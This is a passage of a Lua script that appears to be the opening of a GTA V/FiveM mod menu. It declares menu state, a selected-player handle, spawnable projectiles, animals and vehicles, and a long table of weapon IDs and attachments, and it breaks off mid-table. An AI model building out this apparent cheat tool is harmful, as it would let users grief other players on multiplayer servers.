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xseira = { }
xseira.debug = false
local currentMenuX = 1
local selectedMenuX = 1
local currentMenuY = 1
local selectedMenuY = 1
local menuX = { 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.75 }
local menuY = { 0.025, 0.1, 0.2, 0.3, 0.425 }
local SelectedPlayer
local bullets = { "WEAPON_FLAREGUN", "WEAPON_FIREWORK", "WEAPON_RPG",
"WEAPON_PIPEBOMB", "WEAPON_RAILGUN", "WEAPON_SMOKEGRENADE",
"VEHICLE_WEAPON_PLAYER_LASER", "VEHICLE_WEAPON_TANK" }
local peds = { "a_c_boar", "a_c_killerwhale", "a_c_sharktiger",
"csb_stripper_01" }
local vehicles = { "Freight", "Rhino", "Futo", "Vigilante", "Monster", "Panto",
"Bus", "Dump", "CargoPlane" }
local vehicleSpeed = { 1.0, 10.0, 20.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0,
90.0, 100.0, 110.0, 120.0, 130.0, 140.0, 150.0 }
local b0 = false
local b1 = false
local b2 = false
local b3 = false
local b4 = nil
local b5 = {}
local b6 = {}
local b7 = nil
local b8 = false
local b9 = -1
local ba = -1
local bb = -1
local bc = false
local currentVehicle = 1
local selectedVehicle = 1
local currentVehicleSpeed = 16
local selectedVehicleSpeed = 16
local currentBone = 1
local selectedBone = 1
local currentDamage = 1
local selectedDamage = 1
local currentPed = 1
local selectedPed = 1
local currentBullet = 1
local selectedBullet = 1
local menus = { }
local keys = { up = 300, down = 299, left = 308, right = 307, select = 215,
back = 194 }
local optionCount = 0
local allWeapons =
{"WEAPON_KNIFE","WEAPON_KNUCKLE","WEAPON_NIGHTSTICK","WEAPON_HAMMER","WEAPON_BAT","
WEAPON_GOLFCLUB","WEAPON_CROWBAR","WEAPON_BOTTLE","WEAPON_DAGGER","WEAPON_HATCHET",
"WEAPON_MACHETE","WEAPON_FLASHLIGHT","WEAPON_SWITCHBLADE","WEAPON_PISTOL","WEAPON_P
ISTOL_MK2","WEAPON_COMBATPISTOL","WEAPON_APPISTOL","WEAPON_PISTOL50","WEAPON_SNSPIS
TOL","WEAPON_HEAVYPISTOL","WEAPON_VINTAGEPISTOL","WEAPON_STUNGUN","WEAPON_FLAREGUN"
,"WEAPON_MARKSMANPISTOL","WEAPON_REVOLVER","WEAPON_MICROSMG","WEAPON_SMG","WEAPON_S
MG_MK2","WEAPON_ASSAULTSMG","WEAPON_MG","WEAPON_COMBATMG","WEAPON_COMBATMG_MK2","WE
APON_COMBATPDW","WEAPON_GUSENBERG","WEAPON_MACHINEPISTOL","WEAPON_ASSAULTRIFLE","WE
APON_ASSAULTRIFLE_MK2","WEAPON_CARBINERIFLE","WEAPON_CARBINERIFLE_MK2","WEAPON_ADVA
NCEDRIFLE","WEAPON_SPECIALCARBINE","WEAPON_BULLPUPRIFLE","WEAPON_COMPACTRIFLE","WEA
PON_PUMPSHOTGUN","WEAPON_SAWNOFFSHOTGUN","WEAPON_BULLPUPSHOTGUN","WEAPON_ASSAULTSHO
TGUN","WEAPON_MUSKET","WEAPON_HEAVYSHOTGUN","WEAPON_DBSHOTGUN","WEAPON_SNIPERRIFLE"
,"WEAPON_HEAVYSNIPER","WEAPON_HEAVYSNIPER_MK2","WEAPON_MARKSMANRIFLE","WEAPON_GRENA
DELAUNCHER","WEAPON_GRENADELAUNCHER_SMOKE","WEAPON_RPG","WEAPON_STINGER","WEAPON_FI
REWORK","WEAPON_HOMINGLAUNCHER","WEAPON_GRENADE","WEAPON_STICKYBOMB","WEAPON_PROXMI
NE","WEAPON_BZGAS","WEAPON_SMOKEGRENADE","WEAPON_MOLOTOV","WEAPON_FIREEXTINGUISHER"
,"WEAPON_PETROLCAN","WEAPON_SNOWBALL","WEAPON_FLARE","WEAPON_BALL"}
local b7 = {
Melee = {
BaseballBat = {
id = "weapon_bat", name = "∑Baseball Bat", bInfAmmo = false, mods =
{}
}, BrokenBottle = {
id = "weapon_bottle", name = "∑Broken Bottle", bInfAmmo = false,
mods = {}
}, Crowbar = {
id = "weapon_Crowbar", name = "∑Crowbar", bInfAmmo = false, mods =
{}
}, Flashlight = {
id = "weapon_flashlight", name = "Flashlight", bInfAmmo = false,
mods = {}
}, GolfClub = {
id = "weapon_golfclub", name = "∑Golf Club", bInfAmmo = false, mods
= {}
}, BrassKnuckles = {
id = "weapon_knuckle", name = "∑Brass Knuckles", bInfAmmo = false,
mods = {}
}, Knife = {
id = "weapon_knife", name = "∑Knife", bInfAmmo = false, mods = {}
}, Machete = {
id = "weapon_machete", name = "∑Machete", bInfAmmo = false, mods =
{}
}, Switchblade = {
id = "weapon_switchblade", name = "∑Switchblade", bInfAmmo = false,
mods = {}
}, Nightstick = {
id = "weapon_nightstick", name = "∑Nightstick", bInfAmmo = false,
mods = {}
}, BattleAxe = {
id = "weapon_battleaxe", name = "∑Battle Axe", bInfAmmo = false,
mods = {}
}
}, Handguns = {
Pistol = {
id = "weapon_pistol", name = "∑Pistol", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, PistolMK2 = {
id = "weapon_pistol_mk2", name = "∑Pistol MK 2", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_PISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_02"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP"
}, {
name = "Suppessor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, CombatPistol = {
id = "weapon_combatpistol", name = "∑Combat Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, APPistol = {
id = "weapon_appistol", name = "AP Pistol", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_APPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_APPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, StunGun = {
id = "weapon_stungun", name = "∑Stun Gun", bInfAmmo = false, mods =
{}
}, Pistol50 = {
id = "weapon_pistol50", name = "∑Pistol .50", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_PISTOL50_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_PISTOL50_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, SNSPistol = {
id = "weapon_snspistol", name = "∑SNS Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_CLIP_02"
}
}
}
}, SNSPistolMkII = {
id = "weapon_snspistol_mk2", name = "∑SNS Pistol Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SNSPISTOL_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Mounted Scope", id = "COMPONENT_AT_PI_RAIL_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH_03"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_02"
}, {
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP_02"
}
}
}
}, HeavyPistol = {
id = "weapon_heavypistol", name = "Heavy Pistol", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYPISTOL_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, VintagePistol = {
id = "weapon_vintagepistol", name = "∑Vintage Pistol", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_VINTAGEPISTOL_CLIP_02"
}
}, BarrelAttachments = {
{
"Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, FlareGun = {
id = "weapon_flaregun", name = "∑Flare Gun", bInfAmmo = false, mods
= {}
}, MarksmanPistol = {
id = "weapon_marksmanpistol", name = "∑Marksman Pistol", bInfAmmo =
false, mods = {}
}, HeavyRevolver = {
id = "weapon_revolver", name = "Heavy Revolver", bInfAmmo = false,
mods = {}
}, HeavyRevolverMkII = {
id = "weapon_revolver_mk2", name = "Heavy Revolver Mk II", bInfAmmo
= false, mods = {
Magazines = {
{
name = "Default Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_01"
}, {
name = "Tracer Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id =
"COMPONENT_REVOLVER_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Compensator", id = "COMPONENT_AT_PI_COMP_03"
}
}
}
}, DoubleActionRevolver = {
id = "weapon_doubleaction", name = "∑Double Action Revolver",
bInfAmmo = false, mods = {}
}, UpnAtomizer = {
id = "weapon_raypistol", name = "∑Up-n-Atomizer", bInfAmmo = false,
mods = {}
}
}, SMG = {
MicroSMG = {
id = "weapon_microsmg", name = "∑Micro SMG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MICROSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MICROSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_PI_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, SMG = {
id = "weapon_smg", name = "∑SMG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_SMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_CLIP_02"
}, {
name = "Drum Magazine", id = "COMPONENT_SMG_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, SMGMkII = {
id = "weapon_smg_mk2", name = "∑SMG Mk II", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT"
}, {
name = "FMJ Rounds", id = "COMPONENT_SMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id =
"COMPONENT_AT_SIGHTS_SMG"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_SMG_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SB_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SB_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}
}
}, AssaultSMG = {
id = "weapon_assaultsmg", name = "∑Assault SMG", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, CombatPDW = {
id = "weapon_combatpdw", name = "∑Combat PDW", bInfAmmo = false,
mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATPDW_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATPDW_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMBATPDW_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MachinePistol = {
id = "weapon_machinepistol", name = "∑Machine Pistol ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_MACHINEPISTOL_CLIP_03"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_PI_SUPP"
}
}
}
}, MiniSMG = {
id = "weapon_minismg", name = "∑Mini SMG", bInfAmmo = false, mods =
{
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MINISMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MINISMG_CLIP_02"
}
}
}
}, UnholyHellbringer = {
id = "weapon_raycarbine", name = "∑Unholy Hellbringer", bInfAmmo =
false, mods = {}
}
}, Shotguns = {
PumpShotgun = {
id = "weapon_pumpshotgun", name = "∑Pump Shotgun", bInfAmmo =
false, mods = {
Flashlight = {
{
"name = Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP"
}
}
}
}, PumpShotgunMkII = {
id = "weapon_pumpshotgun_mk2", name = "∑Pump Shotgun Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_01"
}, {
name = "Dragon Breath Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY"
}, {
name = "Steel Buckshot Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING"
}, {
name = "Flechette Shells", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT"
}, {
name = "Explosive Slugs", id =
"COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}
}
}
}, SawedOffShotgun = {
id = "weapon_sawnoffshotgun", name = "∑Sawed-Off Shotgun", bInfAmmo
= false, mods = {}
}, AssaultShotgun = {
id = "weapon_assaultshotgun", name = "∑Assault Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupShotgun = {
id = "weapon_bullpupshotgun", name = "∑Bullpup Shotgun", bInfAmmo =
false, mods = {
Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, Musket = {
id = "weapon_musket", name = "∑Musket", bInfAmmo = false, mods = {}
}, HeavyShotgun = {
id = "weapon_heavyshotgun", name = "Heavy Shotgun", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_HEAVYSHOTGUN_CLIP_02"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, DoubleBarrelShotgun = {
id = "weapon_dbshotgun", name = "∑Double Barrel Shotgun", bInfAmmo
= false, mods = {}
}, SweeperShotgun = {
id = "weapon_autoshotgun", name = "∑Sweeper Shotgun", bInfAmmo =
false, mods = {}
}
}, AssaultRifles = {
AssaultRifle = {
id = "weapon_assaultrifle", name = "∑Assault Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_ASSAULTRIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MACRO"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, AssaultRifleMkII = {
id = "weapon_assaultrifle_mk2", name = "∑Assault Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_AR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_AR_BARREL_0"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, CarbineRifle = {
id = "weapon_carbinerifle", name = "∑Carbine Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_02"
}, {
name = "Box Magazine", id =
"COMPONENT_CARBINERIFLE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CarbineRifleMkII = {
id = "weapon_carbinerifle_mk2", name = "∑Carbine Rifle Mk II ",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_CR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_CR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, AdvancedRifle = {
id = "weapon_advancedrifle", name = "∑Advanced Rifle ", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_ADVANCEDRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}
}
}, SpecialCarbine = {
id = "weapon_specialcarbine", name = "∑Special Carbine", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_SPECIALCARBINE_CLIP_03"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, SpecialCarbineMkII = {
id = "weapon_specialcarbine_mk2", name = "∑Special Carbine Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SC_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SC_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
